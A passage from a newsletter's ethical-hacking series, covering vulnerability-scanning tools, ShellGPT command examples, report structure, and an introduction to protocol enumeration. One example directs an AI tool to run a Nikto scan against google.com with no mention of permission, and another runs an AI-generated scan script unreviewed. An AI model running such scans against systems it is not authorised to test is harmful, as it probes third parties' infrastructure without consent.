feed updates for authenticated and unauthenticated testing, featuring 2025 improvements in performance tuning for large-scale scans and configurable reports in Greenbone OS 22.04.</p></li><li><p><strong>Nikto:</strong> Functions as a lightweight command-line web server scanner detecting over 7,000 dangerous files and misconfigurations, with 2025 updates including IPv6 support, cookie handling, and enhanced database references for faster, automated web vulnerability checks.</p></li></ol><div><hr></div><h2>AI-Powered Vulnerability Assessment Tools</h2><p>AI-powered vulnerability assessment tools automate analysis tasks and provide intelligent insights into security weaknesses. These tools process large amounts of vulnerability data, identify patterns and provide contextual recommendations to help security teams prioritize remediation efforts.</p><h3>Commonly used tools include:</h3><p><strong>SmartScanner</strong> - A web application security scanner that uses machine learning algorithms to detect vulnerabilities while reducing false positives. The tool adapts its scanning approach based on the target application's behavior and adjusts testing parameters for more accurate results.</p><p><strong>Equixly</strong> - A vulnerability management platform that combines automated scanning with intelligent risk analysis. It uses natural language processing to analyze vulnerability descriptions and provides contextual threat intelligence to help organizations understand the real-world impact of discovered security issues.</p><div><hr></div><h3>Examples: Use ShellGPT for Vulnerability Scanning</h3><p>ShellGPT (SGPT) is a command-line tool that uses AI to generate and execute terminal commands based on natural language prompts. </p><p>This tool speeds up vulnerability assessment workflows by automatically creating complex scanning scripts, and allowing you to chain together multiple commands to execute complex workflows.</p><p><strong>If you haven&#8217;t used SGPT yet, check out the guide on that here:</strong></p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;99ffa1e5-9204-4fb8-8c73-38cccfb63a92&quot;,&quot;caption&quot;:&quot;ShellGPT (SGPT) is a command-line tool that uses AI language models, such as OpenAI's GPT family, to generate shell commands, code snippets, and documentation directly in the terminal.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;ShellGPT (SGPT): AI-Powered Command-Line Productivity Tool&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-07-28T16:02:10.838Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!hbTF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feeec1517-aa18-451f-bfab-5e23d95956e5_1000x700.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/shellgpt-sgpt-ai-powered-command&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:168822155,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:9,&quot;comment_count&quot;:4,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p>In the three examples below, we&#8217;ll show how SGPT can use a variety of tools to conduct vulnerability scanning.</p><div><hr></div><h4><strong>Example #1: Vulnerability Assessment with Nikto</strong></h4><p>SGPT can generate vulnerability scanning commands using natural language prompts. Here's how to use SGPT for basic web vulnerability scanning:</p><pre><code><code>sgpt -s "Run nikto scan on google.com and save results to output.txt" &amp;&amp; open output.txt</code></code></pre><p>SGPT interprets this prompt and generates the appropriate Nikto command for web server vulnerability assessment.</p><div><hr></div><h4><strong>Example #2: Vulnerability Scan with Python Scripts</strong></h4><p>SGPT can create comprehensive Python scripts that combine multiple security tools for automated vulnerability scanning:</p><pre><code><code>sgpt -chat scancode -code "Write a Python script to scan IPs in scan1.txt with Nmap and then check them for vulnerabilities using Nikto" &gt; scan.py &amp;&amp; python scan.py</code></code></pre><p>This SGPT command generates a Python script that performs network discovery with Nmap and chains web vulnerability scanning using Nikto. The python script will be saved to scan.py and run after it&#8217;s generated.</p><div><hr></div><h4><strong>Example #3: Vulnerability Scanning with Skipfish</strong></h4><p>SGPT can orchestrate web application security testing using Skipfish and automate the report viewing process:</p><pre><code><code>sgpt -s "Scan the URL http://testphp.vulnweb.com with Skipfish and open the output index.html in Firefox."</code></code></pre><p>This SGPT prompt generates chained commands to execute Skipfish scanning and automatically display the HTML report in a web browser.</p><div><hr></div><h2>Vulnerability Assessment Reporting</h2><p>In this section, we take the results found in our vulnerability scanning and create reports for key stakeholders in the organization. </p><p>The challenge lies in presenting technical findings in a way that resonates with different audiences and their specific responsibilities.</p><h3>Tailoring Reports to Your Audience</h3><p>Raw vulnerability scan data overwhelms most stakeholders with technical details they don't need. Each audience requires different information presented in their preferred format and language.</p><ol><li><p><strong>Executive Leadership</strong> focuses on business risk, financial impact, and strategic decisions. They need to understand how vulnerabilities affect operations, compliance, and competitive position without getting lost in technical specifications.</p></li><li><p><strong>IT Management</strong> requires operational context, resource requirements, and implementation timelines. They balance security needs against available staff, budget constraints, and business continuity requirements.</p></li><li><p><strong>Technical Teams</strong> need detailed technical information, remediation steps, and priority rankings. They implement the actual fixes and require specific guidance on patches, configurations, and testing procedures.</p></li></ol><h3>Writing Effective Executive Summaries</h3><p>The executive summary determines whether leadership will read the full report or take action on your recommendations. This section should answer key business questions within the first few paragraphs.</p><p>Start with the overall security posture using clear risk categories rather than technical scores. Translate CVSS scores into business terms like "immediate attention required" or "acceptable risk with monitoring."</p><p>Quantify the scope of exposure by stating how many systems are affected and which business functions could be impacted. Include potential consequences such as service outages, data breaches, or compliance violations.</p><p>Provide clear next steps with estimated costs, timelines, and resource requirements. Leadership needs to understand what decisions they must make and when action is required.</p><div><hr></div><h3>Vulnerability Assessment Report Structure</h3><p>A vulnerability assessment report is a comprehensive document that details the findings of a vulnerability assessment. The report follows a standardized structure to ensure all stakeholders receive the information they need in an organized format.</p><ol><li><p><strong>Executive Summary</strong> provides a high-level overview designed for senior leadership and decision-makers who need to understand business impact without technical details. This section includes the assessment scope and objectives, a narrative of testing activities performed, and a summary of key findings with their potential business consequences.</p></li><li><p><strong>Assessment Overview</strong> documents the technical approach and methodology used during the vulnerability assessment process. This section details the specific scanning techniques employed, information about target systems and network segments tested, and the tools and technologies utilized during the assessment.</p></li><li><p><strong>Findings</strong> presents the core technical results discovered during the vulnerability scanning and analysis phases. This section catalogs all scanned hosts and affected assets, categorizes the types of vulnerabilities identified across the infrastructure, and provides detailed technical information about each security weakness discovered.</p></li><li><p><strong>Risk Assessment</strong> analyzes and prioritizes discovered vulnerabilities based on their potential impact to the organization's security posture. Vulnerabilities are classified according to standardized risk levels, with emphasis on those that could lead to system or application compromise.</p></li><li><p><strong>Recommendations</strong> transforms technical findings into actionable guidance for addressing identified security weaknesses. This section prioritizes remediation activities based on risk rankings and business impact, providing specific action plans for implementing fixes to each identified vulnerability.</p></li><li><p><strong>Appendices and Supporting Information</strong> contains detailed technical data that supports the report's findings and conclusions. This section includes raw scan logs, configuration files, screenshots of vulnerability evidence, and references to external resources such as CVE databases or vendor advisories.</p></li><li><p><strong>Conclusion</strong> reinforces the importance of addressing identified vulnerabilities while summarizing the overall security posture of the assessed systems. This section ties together key findings and recommendations, emphasizing critical areas that require immediate attention.</p></li><li><p><strong>Follow-Up Actions and Timeline</strong> establishes clear expectations for remediation activities and ongoing security monitoring. This section provides realistic timelines for addressing vulnerabilities based on their severity and complexity, schedules follow-up assessments to verify remediation effectiveness, and outlines monitoring procedures to detect new vulnerabilities.</p></li><li><p><strong>Glossary of Terms</strong> defines technical terminology used throughout the report to ensure all stakeholders understand the content regardless of their technical background. This section explains vulnerability types, risk classifications, technical acronyms, and security concepts in plain language.</p></li></ol><p>The key to effective vulnerability reporting is remembering that different stakeholders need different information to make informed decisions about security investments and risk management priorities.</p><div><hr></div><h2><strong>Next Step: Phase 4 - Gaining Access</strong></h2><p>In this guide, you've learned how to identify vulnerabilities through systematic scanning, analyze security weaknesses using various assessment tools, and leverage AI-powered solutions to streamline vulnerability discovery workflows. </p><p>You now understand the vulnerability management lifecycle, can classify different types of security flaws, and know how to use both traditional and modern tools for comprehensive security assessments.</p><p>This completes Phase 2 of Ethical Hacking, preparing us for exploitation and Phase 3 'Gaining Access' based on the vulnerabilities discovered in this phase.</p><p>This is where we transition from information collection into actively exploiting identified weaknesses and seeking to gain initial access on target systems. </p><p><strong>Stay tuned for the next guide!</strong></p>]]></content:encoded></item><item><title><![CDATA[The Complete Guide to Enumeration (Ethical Hacking)]]></title><description><![CDATA[Scanning in ethical hacking begins with identifying live hosts and open ports, then continues with enumeration, which collects detailed information about those systems, such as user accounts, shared resources, and service configurations.]]></description><link>https://darkmarc.substack.com/p/the-complete-guide-to-enumeration</link><guid isPermaLink="false">https://darkmarc.substack.com/p/the-complete-guide-to-enumeration</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sat, 20 Sep 2025 04:58:06 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!aO03!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Scanning in ethical hacking </strong>begins with identifying live hosts and open ports, then continues with enumeration, which collects detailed information about those systems, such as user accounts, shared resources, and service configurations.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!aO03!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aO03!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!aO03!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!aO03!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!aO03!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aO03!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:297252,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!aO03!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 424w, https://substackcdn.com/image/fetch/$s_!aO03!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 848w, https://substackcdn.com/image/fetch/$s_!aO03!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 1272w, https://substackcdn.com/image/fetch/$s_!aO03!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb197ea5-f9f4-4057-8f3b-9118fe1216de_1500x500.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This guide builds on our previous network scanning guide, where we identified live hosts, open ports, running services, and operating systems using tools like Nmap, Wireshark, and specialized scanners.</p><div><hr></div><h2><strong>Phase 2: Scanning - Three Step Process</strong></h2><p><strong>Phase 2: Scanning is made up of three steps that work together:</strong></p><ol><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability">Network Scanning</a> - We discover live hosts, open ports, and running services using tools like Nmap. This gives us a broad view of what's available on the network.</p></li><li><p><strong>&#187; <a href="https://darkmarc.substack.com/p/the-complete-guide-to-enumeration">Enumeration</a> (current step)</strong> - We go beyond basic discovery by establishing active connections with target systems. We perform directed queries to extract detailed information like user accounts, network shares, and service configurations.</p></li><li><p><a href="https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability-6e3">Vulnerability Scanning</a> - We identify specific security weaknesses in the services we've discovered and enumerated, preparing us for the actual exploitation phase.</p></li></ol><h4>Previous Step: Network Scanning</h4><p><strong>If you haven't read about network scanning yet, check it out here:</strong></p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;36e97469-00ba-4f05-8d78-3de90b380ca0&quot;,&quot;caption&quot;:&quot;Scanning is the second phase in ethical hacking, where you scan machines discovered in the previous phase (footprinting and reconnaissance) for ports and services that may be vulnerable to attack, which you can use to gain access to a system.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;The Complete Guide to Network Scanning (Ethical Hacking)&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-08-25T00:36:12.144Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!1eas!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa92ee434-0876-414c-bfb1-84b30a18fb58_1500x500.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/the-complete-guide-to-vulnerability&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:170809241,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:14,&quot;comment_count&quot;:1,&quot;publication_id&quot;:null,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><div><hr></div><h2>In this guide, you will learn:</h2><ul><li><p>The role and objectives of enumeration in ethical hacking</p></li><li><p>Practical methods and tools for extracting detailed system information</p></li><li><p>How enumeration works for commonly used protocols.</p></li></ul><p>This guide gives you the knowledge and techniques to perform enumeration responsibly while adhering to ethical hacking principles.</p><div><hr></div><h2>What is Enumeration?</h2><p>Enumeration is the process of actively extracting detailed information from target systems identified during the initial scanning phase.</p><p>While initial scanning focuses on discovering live hosts, open ports, and running services, enumeration digs deeper to gather specific data like:</p><ul><li><p>Network resources and network shares</p></li><li><p>Routing tables and system configurations</p></li><li><p>Audit and service settings, SNMP and FQDN details</p></li><li><p>Machine names, users and groups, and applications and banners</p></li></ul><p>Think of the first scanning step as locating all the doors in a building. Enumeration is like testing each door to see which ones are open and what's behind them before making entry.</p><blockquote><p><strong>Example</strong>: After discovering an open SMB port (445) during scanning, enumeration involves querying the system to list shared folders or enumerate user accounts. </p></blockquote><p>These two steps together provide a comprehensive view of your target's attack surface, helping you make the best decision when it's time to enter.</p><div><hr></div><h2>Protocols for Enumeration</h2><p>A protocol is a set of rules for how systems communicate. Each has a role such as file sharing, email, or name resolution, and during enumeration they can expose details about users, hosts, and services.</p><p>Enumeration happens inside a target network, so you need to be connected to it. After mapping entry points, you test protocols to see what information they reveal.</p><p>This guide covers the following protocols for enumeration: NetBIOS, SNMP, LDAP, NTP, NFS, SMTP, DNS, IPsec, VoIP, RPC, and SMB.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!FTFr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!FTFr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!FTFr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:467706,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!FTFr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!FTFr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc35f50b9-7439-4a82-9c4d-81a75862a01d_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Important Note:</strong> This guide covers commonly encountered protocols during enumeration, but it is not an exhaustive list of all possible protocols and services you may encounter in real-world environments.</p><div><hr></div><p><strong>You might be thinking:</strong> "This is boring! Why do I need to learn about all these protocols?" Well, if you want to be a hacker, knowing these things is part of the job. </p><p>Protocols are like languages that computers use to talk to each other. If you understand the language, you can listen in, ask questions, and sometimes even trick the system into giving you more than it should.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vhDF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vhDF!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vhDF!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c109c771-f052-4e54-959c-87105238e9bc_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7887494,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vhDF!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!vhDF!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc109c771-f052-4e54-959c-87105238e9bc_1000x333.gif 1456w" sizes="100vw" 